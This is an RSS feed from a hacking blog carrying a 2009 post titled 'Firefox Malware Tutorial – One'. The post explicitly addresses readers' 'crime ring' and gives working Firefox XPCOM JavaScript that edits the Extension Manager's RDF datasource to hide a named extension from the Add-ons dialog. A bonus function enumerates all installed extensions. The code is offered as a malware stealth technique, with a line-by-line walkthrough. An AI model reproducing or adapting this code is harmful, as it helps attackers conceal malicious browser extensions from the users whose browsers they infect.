<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onHacks &#187; Firefox</title>
	<atom:link href="http://onhacks.org/lang/en/tag/firefox/feed/" rel="self" type="application/rss+xml" />
	<link>http://onhacks.org</link>
	<description>On Hacking Across Boundaries</description>
	<lastBuildDate>Wed, 02 Jun 2010 05:48:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Firefox Malware Tutorial &#8211; One</title>
		<link>http://onhacks.org/lang/en/2009/02/11/firefox-malware-tutorial-1</link>
		<comments>http://onhacks.org/lang/en/2009/02/11/firefox-malware-tutorial-1#comments</comments>
		<pubDate>Wed, 11 Feb 2009 14:13:43 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Protocol]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=214</guid>
		<description><![CDATA[Firefox is the top competitor against Internet Explorer, and it&#8217;s market share is not to be underestimated. That you can infest it with malware, and that it can spread, will provide huge benefits to your crime ring. Here we will learn what is the magic behind, I will demonstrate how to write an extension that [...]]]></description>
			<content:encoded><![CDATA[<p><span lang="en">Firefox is the top competitor against Internet Explorer, and it&#8217;s market share is not to be underestimated. That you can infest it with malware, and that it can spread, will provide huge benefits to your crime ring. Here we will learn what is the magic behind, I will demonstrate how to write an extension that is not observable from the Addon dialog.</span></p>
<p><span lang="en">Firefox extensions information are stored in a file called extensions.rdf in your profile, which is just XML. The Addons dialog invokes the Extension Manager which implements nsIExtensionManager. This nsIExtensionManager has an attribute called datasource, which houses the extensions data we can browse &#8211; and modify. By manipulating this datasource that the Extension Manager depend upon, we can remove any extension from the list from sight.</span></p>
<p><span lang="en">Here is the code :</span></p>






<pre>function ext_mgr_hide_extension(tgt_ext_name)
{
    var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);
    var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;
    var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);
    var root = rdfService.GetResource("urn:mozilla:item:root"); 

    try
    {
        rdfContainer.Init(extensionDataSource, root);

        var exts = rdfContainer.GetElements();
        while ( exts.hasMoreElements() )
        {
            var ext = exts.getNext();
            var ext_name = extensionDataSource.GetTarget(
                ext, rdfService.GetResource(
                    "http://www.mozilla.org/2004/em-rdf#name"), true).
                QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
            if ( ext_name == tgt_ext_name )
                rdfContainer.RemoveElement(ext, true);
        }
    }
    catch (e)
    {
        alert(e);
    }
}</pre>
<p><span lang="en">To manipulate the RDF document, we can use a RDF Container, which implements nsIRDFContainer :</span></p>


<pre>var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);</pre>
<p><span lang="en">To get the datasource of the Extension Manager, we can get the one from the Extension Manager :</span></p>


<pre>var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;</pre>
<p><span lang="en">To get the RDF service to read the RDF, we get the nsIRDFService singleton :</span></p>


<pre>var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);</pre>
<p><span lang="en">Navigate to the root :</span></p>


<pre>var root = rdfService.GetResource("urn:mozilla:item:root");</pre>
<p><span lang="en">Fill in the data for our RDF Container :</span></p>


<pre>rdfContainer.Init(extensionDataSource, root);</pre>
<p><span lang="en">Then, after you get one single instance of extension in the RDF, we can obtain the name ( RDF Literal ) through this :</span></p>


<pre>var ext_name = extensionDataSource.GetTarget(ext,
    rdfService.GetResource(
        "http://www.mozilla.org/2004/em-rdf#name"), true
    ).QueryInterface(Components.interfaces.nsIRDFLiteral).Value;</pre>
<p><span lang="en">Now if there is a match, remove it!</span></p>


<pre>if ( ext_name == tgt_ext_name )
     rdfContainer.RemoveElement(ext, true);</pre>
<p><span lang="en">And the rest is your imagination.</span></p>


<p><span lang="en"><strong>Bonus</strong></span></p>
<p><span lang="en">Dump all extensions with Extension Manager :</span></p>




<pre>function ext_mgr_dump()
{
	var extensionManager = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager);

	var count = new Object();
	var items = new Object();
	var extensions = extensionManager.getItemList(2, count, items); // 2 is the value for EXTENSIONS
	count = count.value;

	var extension;
	var s_exts = "";
	for (var i = 0; i &#60; count; ++i)
    {
		extension = extensions[i];
		s_exts += "*** " + extension.name + " " + extension.version + "\n";
	}

    return s_exts;
}</pre>
<p>&#8212;</p>
<p>Reference :</p>
<p><a href="http://www.rietta.com/firefox/Tutorial/overview.html" target="_blank">Firefox Extension Development</a></p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/02/11/firefox-malware-tutorial-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
